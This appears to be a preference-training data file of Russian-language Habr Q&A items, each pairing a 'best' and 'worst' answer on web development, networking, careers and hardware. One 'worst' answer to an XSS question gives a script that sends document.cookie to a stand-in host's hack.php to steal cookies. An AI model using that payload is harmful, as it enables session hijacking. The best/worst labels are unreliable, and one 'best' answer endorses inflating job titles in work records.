Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Какую запись в трудовой лучше сделать веб-разработчику?

Лучший ответ:
Можно не ограничиваться одной записью. Если вы в компании работаете давно и к вам там хорошо относятся, можно сделать несколько записей начиная с помощника системного администратора и уже заканчивая руководителем IT отдела. Это кстати будет характеризовать вас как целеустремленного сотрудника.

Фактическое наличие или отсутствие какого то ни было отдела ни каким образом не ограничивает формулировки должностей в трудовой, так что смело можете писать любую должность.

Худший ответ:
Никого реально не волнует красивость формулировки в трудовой. Трудовые вообще отменять собираются… lenta.ru/news/2011/08/04/trud/
Вопрос: Как сниффером отловить запросы?

Лучший ответ:
> ведь там не php (post, get)
Там не HTTP (POST, GET).
> Как тогда узнать что и куда, а потом использовать это в php.
Для вас пока никак. Для меня и то пока никак. А для вас и тем более. 
Сначала нужно научиться с HTTP полноценно работать (там, где он применяется), затем углубиться до уровня TCP (HTTP и другие протоколы основаны на нем), научиться работать с голым TCP, тогда можно будет освоить различные другие протоколы, которые не HTTP, но тоже основаны на TCP (например, XMPP - там TCP + шифрование).
Но для вайбера, боюсь, придется спуститься еще глубже, до уровня протокола IP. Вот тогда вы освоите дзен и у вас хватит кармы, чтобы побороть долбаных вайберо-буржуев и вскрыть протокол вайбера - VoIP.
Естественно, все это на практике и только на практике. HTTP для 99.99% всех сайтов (соцсетей и т.д.), TCP для сайтов с NodeJS+socket.io (еще RTMP - для сайтов с Adobe Flash'евскими решениями, обычно это сайты с порно по вебке), XMPP для Jabber и еще некоторых мессенджеров и т.д.
Словом, практика разработки ботов нужна такая, что без слов, производных от мата, я ее масштабы и вообще всю эту ситуацию описать не могу. Без мата могу только пожелать удачи.

Худший ответ:
Судя по всему на компе стоит эмулятор? 
Ну и в чем проблема? Запустите снифер, потом эмулятор и нужную программу. Поработайте.
Получите пачку запросов и анализируйте их, что и куда посылается.
И то что не php и подобное... Запросы то POST и GET посылаются, ну и шлите тоже самое на удобном языке...
Вопрос: SELECT WHERE IN: Подскажите оптимальный вариант взаимодействия PHP — MySQL

Лучший ответ:
>в статьях про архитектуру высоконагруженных систем (например, таких как twitter)
пока у вас нет нагрузок как у Твиттера, не делайте так. только усложните себе жизнь, написанием своих собственных джойнов на php

Худший ответ:
Я за вариант 2. если нет варианта 3.
Вариант 1 может иногда не работать из-за попадания на лимиты:

можно попасть на 2 лимита
1. превышение максимальной длины запроса
2. превышение максимального количества параметров в IN. да, там тоже есть ограничения

Ограничения есть не только в мускуле, но и в оракле, постргессе и других БД.

Вариант 2 ещё к тому же и тормознутый, если у нас много записей во внешнем запросе.

Простые запросы будут работать быстрее:
select * from table1,table2 where условия 
или запрос через 
join 
select * from table1 join table2 on условие where условия 

какие из них, будет работать быстрее смотрите сами. Настройки БД подпиливаются под данные и под запросы, которые будут исполняться на этих данных.
Вопрос: Какое быстрое образование программиста для корочки выбрать?

Лучший ответ:
Посмотрите в сторону, Московский технологический университет ВТУ, у них и удалёнка есть. Два года и вы магистр ) Вам же корочку )

Худший ответ:
а он признается вообще где-либо? 
надо еще от системы эвалюации дипломов конкретной страны плясать
Вопрос: По проектам на GitHub?

Лучший ответ:
А вы спросите у авторов, какая лицензия. И спросите себя, под какой лицензией ваш код.

Худший ответ:
Может, лучше спросить напрямую у авторов кода, чем на хабре (при этом без какой-либо конкретики)?
Вопрос: Выпадающее горизонтально меню

Лучший ответ:
вместо top используйте padding или margin

Худший ответ:
Подозреваю, что у вас .dropdown не явлется потомком элемента, для которого прописан :hover, или что-то в этом духе. Попробуйте посмотреть, как работает примерно то, что вы хотите.
Вопрос: Что шустрее: Win7 или Win8.1?

Лучший ответ:
Каждая следующая версия продуктов корпорации Microsoft работает в полтора раза медленней предыдущей. 
P.S. Согласно закону Мура, вычислительная мощность компьютеров удваивается каждые 18 месяцев.  С какой скоростью корпорация Microsoft должна выпускать новые версии, чтобы пользователи не заметили действия закона Мура?

Худший ответ:
Я, например, при выборе ОС руководствовался стабильностью драйверов. Под мой ноутбук (Lenovo g580) самыми стабильными оказались драйвера для win8.1
Вопрос: Xerox WorkCentre 3210 как избавиться от задержки при копировании?

Лучший ответ:
на Xerox 3220 подобное поведение заправщики связывали с прошивкой, которая позволяла работать с картриджами без чипов (заправленными).
При установке оригинального нового картриджа проблема обычно пропадала.
Второй вариант который они предлагали(в случае если новый картридж вдруг не поможет) - перепрошивка (лучше, естессно, силами сервиса или обслуживающей организации)
Ну и третий вариант - проблемы с внутренней памятью - везти в сервис.

Худший ответ:
сервисный центр.
Вопрос: Не работает VPN PPTP на Cisco 871 — какие я допустил ошибки?

Лучший ответ:
Адрес pptp сервера совпадает с адресом remote peer, и при установке PPP соединения добавляется соответствующий "С" маршрут на PPP интерфейс, решение: "no peer neighbor-route"  т.к данный адрес мы получаем через WAN.

Худший ответ:
Ivan:  Посмотрите новый конфиг version 15.0
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
service internal
!
hostname router-hma
!
boot-start-marker
boot-end-marker
!
no logging buffered
!
no aaa new-model
!
crypto pki trustpoint TP-self-signed-2657071675
 enrollment selfsigned
 subject-name cn=IOS-Self-Signed-Certificate-2657071675
 revocation-check none
 rsakeypair TP-self-signed-2657071675
!
!
dot11 syslog
ip source-route
no ip gratuitous-arps
no ip dhcp use vrf connected
ip dhcp excluded-address 192.168.1.1 192.168.1.210
!
ip dhcp pool LOCAL
   network 192.168.1.0 255.255.255.0
   default-router 192.168.1.100
   dns-server 193.238.131.93
!
!
ip cef
ip inspect WAAS flush-timeout 10
ip domain name mydomain
!
!
vpdn enable
!
vpdn-group 1
 description pptp
 request-dialin
  protocol pptp
  pool-member 1
 initiate-to ip<b> 176.116.153.18</b>
!
!
!
archive
 log config
  hidekeys
!
no spanning-tree vlan 1
no spanning-tree vlan 2
username LOGIN privilege 15 secret 5 $PASS
username LOGIN privilege 15 password 7 PASS
username LOGIN privilege 15 password 7 PASS
!
!
ip ssh version 1
!
!
!
!
!
!
!
interface FastEthernet0
!
interface FastEthernet1
!
interface FastEthernet2
!
interface FastEthernet3
!
interface FastEthernet4
 description $ETH-WAN$
 ip address dhcp
 ip nat outside
 ip nat enable
 ip virtual-reassembly
 duplex auto
 speed auto
!
interface Vlan1
 description $ETH-SW-LAUNCH$$INTF-INFO-HWIC 4ESW$
 ip address 192.168.1.100 255.255.255.0
 ip nat inside
 ip nat enable
 ip virtual-reassembly
!
interface Dialer0
 mtu 1450
 ip address negotiated
 ip virtual-reassembly
 encapsulation ppp
 dialer pool 1
 dialer remote-name 123
 dialer idle-timeout 0
 dialer string 123
 dialer persistent
 dialer vpdn
 dialer-group 1
 ppp pfc local request
 ppp pfc remote apply
 ppp encrypt mppe auto
 ppp chap hostname LOGIN
 ppp chap password 7 PASS
 ppp ipcp dns request
 no cdp enable
!
ip default-gateway 192.168.1.100
no ip forward-protocol nd
ip http server
ip http authentication local
ip http secure-server
!
ip dns server
ip nat inside source route-map nonat interface FastEthernet4 overload
ip route 192.168.0.0 255.255.0.0 FastEthernet4 dhcp
ip route 176.116.153.18 255.255.255.255 FastEthernet4 dhcp
!
ip access-list standard INSIDE_NAT
 permit 192.168.1.0 0.0.0.255
!
logging origin-id hostname
logging server-arp
access-list 23 permit 192.168.0.0 0.0.0.255
dialer-list 1 protocol ip permit
no cdp run

!
!
!
!
control-plane
!
!
line con 0
 logging synchronous
 no modem enable
line aux 0
line vty 0 4
 access-class 23 in
 exec-timeout 60 0
 privilege level 15
 password 7 PASS
 logging synchronous
 login local
 transport input ssh
!
scheduler max-task-time 5000
ntp server 67.215.65.132
ntp server 91.236.251.12
end
Вопрос: Как проверить XSS уязвимость?

Лучший ответ:
Отписал в поддержку Яндекса, в общем все равно что-то да выполняется, это же плохо.

Худший ответ:
Выполняется в GET запросе? Подставляем вместо алерта
<script>
document.location="http://yoursite.com/hack.php?cookie=" + document.cookie;document.location="http://www.site.com"
</script>

Где hack.php — наш простенький скрипт по сохранению кукисов. Шлем ссылку, угоняем куки.
Вопрос: Где бы взять кучку аватарок?

Лучший ответ:
Сгенерировать тыщонку-другую Identicon'ы, может быть? Реализации его есть на большинстве популярных языков.

Худший ответ:
iconsearch.ru
сам пользуюсь…
Вопрос: Карьера в IT

Лучший ответ:
Есть еще варианты:
Специалист – Ведущий специалист – Эксперт. 
Специалист – Ведущий специалист – Системный Архитектор.
Специалист – Ведущий специалист – Аналитик-консультант (настоящий)
Специалист – Ведущий специалист – Руководитель отдела — Начальник Управления — Директор Департамента — Член Правления
Специалист – Ведущий специалист – Владелец собственного бизнеса.

По всем этим трем у меня есть отличные примеры знакомых людей.
Первые три — получают на уровне (или больше) чем их руководители. Увлекательная работа на многие годы для тех, кому руководство не лежит к душе.

Худший ответ:
Я знаю много ит специалистов которые после начальных периодов становились менеджерами, кстати из программистов всегда получаются афигенные деньгоориентированные коммерсанты!))) главное словить момент когда башню еще не снесло!))
Вопрос: Использование Composer в проекте

Лучший ответ:
ничего из папки vendors не должно деплоиться, удалите её полностью из git и добавьте в игнор.

Худший ответ:
А никого не смушает, что надо деплой будет проходить в результате в два этапа? (git pull и composer install)
Вот добавили вы в свой проект новый инструмент, добавили фичей, оттестировали. Время деплоя.
git pull на продакшене.
А composer возми да не сможет скачать новый инструмент (причины могут быть разные, от лагов инета, до ddos github (с которого composer попытается скачать пакеты) )
Случай может быдь редким, но если случится - можно и встрять.
Если обновления продакшена только через гит делать - это надежно. Если все скачал - развернул, если что-то недокачает, из-за инета или еще чего, то обновления не развернет.
Хочется максимально обезопасить себя от внезапных попадосов. Можно конечно и откатить коммит, если композер лег - только это не хороший вариант, когда начнут спрашивать с тебя, по какой причине задача выполнена, а на продакшене её нет.
Вопрос: Как сделать консольный логгер nodejs таким же удобным как браузерный?

Лучший ответ:
Найдите node-inspector на npm, он позволяет вести отладку node.js процесса из любого webkit+v8 браузера (Chrome, Opera)

Худший ответ:
Либо s-a.github.io/iron-node
Вопрос: Как объективно протестировать производительность node.js и PHP в запросах к mysql БД?

Лучший ответ:
Как у нас на пхп. Пишешь строчки, выполняет по порядку. Сделал до конца одно, дальше. Как у нас с нодежс. Пишешь строчки и тоже по порядку, но не по такому порядку, как в php. К примеру у нас 2 обращения к базе. Они тоже будут идти по порядку, но почти одновременно, так как сразу после первого обращения к базе он не дожидаясь ответа обратится второй раз. Дожидаться ответа он уже будет в callback функции к обращению.
PHP - спокойный тип, который спокойно выполняет задачи и не запутывается. Nodejs - карьерист амфетаминщик, который в любое свободное время (к примеру, пока ждет ответа от той же базы) будет выполнять другие свои обязанности.

Худший ответ:
Как уже писали выше нода асинхронна, поэтому получилось и быстрее. Но это не значит, что она быстрее. Просто Вы не учли эту особенность при написании теста. Как работает тест в php:
цикл - (отправить запрос - подождать результат) - вывести время работы; как работает Ваш тест на ноде - цикл - (отправить запрос) - вывести время отправки всех запросов - начать получать результаты. Т. е. function(error, result, fields){} не попадает в замер.
Вопрос: Сколько времени потребуется для изучения всего того, чтобы разработать ниже описанное приложение под Android?

Лучший ответ:
Ответ в минутах написать?

Худший ответ:
1 день, 2 часа, 16 минут и 22 секунды
Вопрос: Что можно использовать для обеспечения уникальности голоса на Android / iOS?

Лучший ответ:
Сверстать нормально и будет работать. А в чем собственно разница?

Худший ответ:
Можно попробовать получать мобильный номер телефона или MAC адрес wi-fi карты, GSM модема...
Вопрос: Не запускается exe на другом компьютере (C# + Gtk#)?

Лучший ответ:
1) Как именно выглядит ошибка?
2) Первым делом надо запустить depends на обоих ПК (http://www.dependencywalker.com/) и смотреть, все ли в порядке с нативными зависимостями.
3) Дальше разбираемся с managed зависимостями (тот же depends, fuslogvw из http://msdn.microsoft.com/en-us/library/e74a18c4(v=vs.71).aspx)

Худший ответ:
«копировать локально» уже делал это, но к сожалению не помогло.
Вопрос: Как корректно настроить SIP (Mango Office) + MikroTik + 4G LTE USB (MTS) ?

Лучший ответ:
Изменился способ работы NAT, теперь у вас этим занимается тот модем, а не микроитк, соответственно либо раньше работал встроенный в MK механизм поддержки SIP (IP - FireWall - Service port), а теперь его нет, либо модем режет какое-либо соединение. Нужно крутить настройки NAT в телефонах и\или настройки NAT в свистке.

Худший ответ:
Ну читаем тут :) 
www.mikrotik.by/index.php?s=9a1418512fd3428e32f56e...
Вопрос: Какие IDE не связаны с .NET Farmework?

Лучший ответ:
"Например, в VS 2013 для открытия готовых .exe на другом компьютере должна быть установлена платформа Framework." - вы просто не умеете ей пользоваться. Win32Application как тип проекта + статическая линковка и EXE будет работать почти на всех виндах.

Худший ответ:
Qt
сплошной сиплусплус
Вопрос: Как сделать вычитание двух файлов в perl?

Лучший ответ:
Если я правильно понял вопрос. 
Пусть у нас есть два файла 1.txt и 2.txtcat 1.txt                                                                                                                                   
100
2323
2390238
32322323
9002cat 2.txt 
34
4343
434
2390238
32322323
9002
С таким содержанием. 
Теперь их можно сравнить и вычислить разницу таким образом:#!/usr/bin/env perl 
use strict;
use warnings;
use utf8;
use File::Slurp;
use Array::Utils qw(:all);

my @arr1 = read_file( '1.txt', chomp => 1 );
my @arr2 = read_file( '2.txt', chomp => 1 );

# Получилось 2 массива. 
# Теперь сравниваем их c помощью use Array::Utils qw(:all);
# И вычисляем разницу
# Получаем элементы из массива @аrr1, которые не входят в массив @arr2


my @minus = array_minus( @arr1, @arr2 );

for my $i (@minus){
        print "$i \n";
}
Результат работы:100 
2323
Теперь можно то что находится в массиве @minus записать в файл да и все.

Худший ответ:
comm -23 file1 file2 , если раздумаете на перле писать.
Вопрос: Сисадмину лучше работать в компании с IT отделом или нет?

Лучший ответ:
Сисадмину лучше работать

Худший ответ:
Да, кстати, часто некоторые админы упираются в потолок, работают некоторое время и уходят. Тут уже как и на любой другой должности остается меньше вакансий, но и зарплата вырастает.
Вопрос: Селектор не содержит класс, как правильно написать? not hasClass?

Лучший ответ:
!
(инвертируйте условие внутри if)
Можно в 1 строку: $(".tabs .tab:not(.active)").addClass("blink");

Худший ответ:
Инвертировать IF через ! явно болезнь левизны))) 
Там же false  может прийти и что тогда будет значить !false ???)))
Странно, что никто не вспомнил железобетонный способif else, он и на старых джикверях пашет и сам код короче.. #обожимой!!if ($(".tabs .tab").hasClass("active")){
   //пустое место под будущую логику)))
 } else {
   $(".tab").addClass("blink");
}
Вот в одну строку:if ($(".tabs .tab").hasClass("active")){} else {$(".tab").addClass("blink");}
Вопрос: Jquery Datepicker выбор диапазона дат?

Лучший ответ:
jQuery UI Datepicker подразумевает хранение в input значения даты, поэтому для выбора диапазона используется два поля input.

Худший ответ:
Jquery Datepicker:
Два поля input type=«text» с id=«from» и id=«to»
Код обработки
$(function() {
 var dates = $( "#from, #to" ).datepicker({
 onSelect: function( selectedDate ) {
 var option = this.id == "from" ? "minDate" : "maxDate",
 instance = $( this ).data( "datepicker" ),
 date = $.datepicker.parseDate(
 instance.settings.dateFormat ||
 $.datepicker._defaults.dateFormat,
 selectedDate, instance.settings );
 dates.not( this ).datepicker( "option", option, date );
 }
 });
 });
По клику внутри поля вызывается календарик, если одно из полей уже выбрано- в календаре запрещен выбор дат «до» или «после» выбранной, в зависимости от того, что было выбрано первым.
Источник
Вопрос: Как бесплатно установить google maps или яндекс карты?

Лучший ответ:
Использование API Карт (что Яндекс, что Гугл) запрещено в закрытых и/или коммерческих системах. Переживать, что вычислят, стоит.
Лучше использовать OpenStreetMap.

Худший ответ:
Free until exceeding 25,000 map loads per 24 hours for 90 consecutive dayshttps://developers.google.com/maps/documentation/j...
У яндекса вроде тоже 25000.
Вопрос: Как сделать отчет времени?

Лучший ответ:
Javascript Date и немного расчетов, логики. Вы же программист или кто?)

Худший ответ:
1 - считаем интервал времени от начала до конца   - allRange
2 - считаем интервал времени от начала до теперь - currentRange
3 - currentRange / allRange * 100 - сколько процентов времени прошло
(100 - currentRange / allRange * 100) - сколько процентов времени осталось
Вопрос: Почему так странно ведет себя Firebug

Лучший ответ:
У вас в файле шаблона (до <doctype) первыми символами идет BOM (признак кодировки документа UTF-8) пересохраните документ как просто UTF-8 (без BOM), тогда проблема исчезнет.

Худший ответ:
Вы бы хоть ссылочку дали посмотреть, ато по скриншотам сложней определить в чем причина
Вопрос: Как проверить, пересекаются ли 2 прямоугольных DIV`а?

Лучший ответ:
Решение задачи в общем виде.
Решение задачи для ленивых.

Худший ответ:
Думаю тут поможет метод offset. Отталкиваться от верхнего левого края родителя, сопоставлять ширину стикеров и родителя. Сходу сложно выдать готовое решение, надо тестить.UPD: Кстати, попробуйте использовать какой-нибудь drop плагин, в них ведь есть функционах определяющий пересечения элементов, думаю будет не сложно адаптировать к вашей задаче.
Вопрос: Таймер обратного отсчета с возможностью стилизации?

Лучший ответ:
Готовых решений столько, что не знаю какой предложить:
А если хотите сами, то думаю реализация основана на setInterval(timerCalcFunc; }, 1000);

Худший ответ:
countdown.js 
Часто использовал именно этот таймер. Очень легко настраивается и стилизируется. Так же можно написать сообщение, которое выведется по истечению времени таймера
Вопрос: C/C++ переход с Delphi, стоит ли?

Лучший ответ:
Попробуйте вместо с/с++ питон. И системные утилиты, и работа с сетью реализуется в питоне достаточно удобно. И уйти от формошлепства можно вполне.
с/с++ после делфи покажется вам страшным из за динамики, указателей и прочего.

Худший ответ:
На Delphi работа с сетью с какой версии стала вдруг невозможна?
Также, есть много компонентов для ЛЮБЫХ задач... Есть импорт C/C++ библиотек...
Можете делать все что угодно...
Вы же на этом делаете (надеюсь?))
Вопрос: A* алгоритм на java

Лучший ответ:
Мне стало дурно… 

Алгоритм А* — это 8 строчек кода. Не уж то так сложно найти их в интернете.

Худший ответ:
Я делал. Может где-то мог накосячить, но реализовывал полностью сам в академических целях:
vas3k.ru/blog/257/
Вопрос: Обработка ошибок?

Лучший ответ:
Ексепшен выкинуть, разумеется. Пусть тот, кто вызвал с фиговыми параметрами, сам разбирается что с этим делать.

Худший ответ:
Если произошла ошибка (в том числе и при поиске), то безусловно исключение (если они есть). Т.е. в случае с поиском, если найти не можем из-за ошибки соединения с БД или некорректных условий поиска.
А если найти не можем из-за того, что элемента нет и это нормальная штатная ситуация, то использовать специальное возвращаемое значение. В языках с динамической типизацией это как правило None, null или подобный тип. Если None может храниться в коллекции и является допустимым возвращаемым значением, то, например в питоне, часто создают класс с именем тип NotFoundError и возвращают тип класса. Он гарантированно не является валидным значением.
В языках со статической типизацией используют либо что-то вроде boost::optional т.е. структуры из значения и флага, либо возвращают указатель/итератор для которого есть специальное пустое значение.
Вопрос: Как избавиться от переноса float, если заведомо не известна ширина блока?

Лучший ответ:
Не понятно что вам нужно, но судя по упоминанию float вам к display: flex

Худший ответ:
Не пробовали для родительского блока поставить display:table; а для внутренних элементов поставить display:table-cell; ?
Вопрос: Проживет ли 1150 сокет еще?

Лучший ответ:
думаю новых хороших проциков на нее уже не будет..

Худший ответ:
При текущем курсе бакса думаю он с нами на долго. Плюс рынок бу ...
PS
AMD наше все :-D
Вопрос: где искать инвесторов (посевные инвестиции)?

Лучший ответ:
Я проходил через такие поиски.
Советую не тратить на них время, а собрать команду бесплатных единомышленников.
У меня получилось, слава Богу. Хотя мне и казалось вначале, что это нереально.

Мой проект сейчас привлек инвестицию и работает в акселераторе.

Но никто не будет инвестировать в стартап «под слайды», если там даже нет команды.

Если интересно и нужно — могу вне этого треда рассказать свой опыт и дать пару советов.

Худший ответ:
Кстати, с Морейнисом тоже довелось пообщаться. Не так уж и сложно было туда попасть…
Вопрос: Debian как «Национальная ОС»

Лучший ответ:
Чтоб два раза не вставать — давайте и законы в github коммитить.
А по теме — мешает отсутствие грандиозной работы чтобы распилить бюджет. Если не ОС, то хоть бы офис написать свой национальный, главное чтобы с нуля :)

Худший ответ:
А, собственно, зачем нужна эта «национальная ос»? 
ОС из редмонда никто национальной, емнип, не объявлял, однако ж все пользуются. Не в статусе дело.

зы. по поводу кодеков: с подключением репозитория www.deb-multimedia.org техническая сторона вопроса решается.
Вопрос: Можно ли одной bitwise операцией (без циклического сдвига) определить степень двойки(номер бита)?

Лучший ответ:
Если у вас нет под рукой какого-нибудь специфичного процессора (или АЛУ), в котором есть такая операция - никак.

Худший ответ:
Одной никак не получится. Но если есть мысль делать эту операцию для многих чисел, да параллельно - то можно так#include <stdio.h>

int f(int n) {
  	int k = 0;
  if((n & 0xFFFF) == 0)   k = 16, n >>= 16;
  if((n & 0x00FF) == 0)   k += 8, n >>= 8;
  if((n & 0x000F) == 0)   k += 4, n >>= 4;
  if((n & 0x0003) == 0)   k += 2, n >>= 2;
  if((n & 0x0001) == 0)   k += 1;
  	return k;
}

int main(void) {
  printf("%d\n", f(128));
  	return 0;
}
Вопрос: Поддерживает ли данная система, обновление оперативной памяти?

Лучший ответ:
Хочу добавить еще 4GB RAM, не будет ли тяжело для данной системы ?добавляйте (плата поддерживает 16ГБ), не будет.можно ли на 2GB RAM установить Windows 64bit, установить все драйвера, настроить, а уже потом, через недельку, поставить доп. RAM ?можно.какую лучше выбратьбез разницы.Оперативная память должна быть такой же фирмы как и та, что уже стоит ?без разницы, главное чтоб совпадали параметры.

Худший ответ:
С несовместимой памятью комп тупо не заведется или Винда не загрузится.
х32 винда видит 3Г памяти - так что увидит "кусочек" новой памяти.
Как писал DevMan , берите память с правом возврата или с проверкой на месте.
Вопрос: Как подгрузить модальные окна bootstrap в django?

Лучший ответ:
urls.pyurl(r'^whatever/$', view_whatever, name='view_name'),
html<div id="place" data-load-from="{% url "view_name" %}"></div>
jsvar $place = $( "#place" );
$place.load( $place.data('load-from') );
jQ load - берет из кеша!

Худший ответ:
$('#myModal').modal('show');
P.S.
getbootstrap.com/javascript/#modals
Все подробности по модальным окнам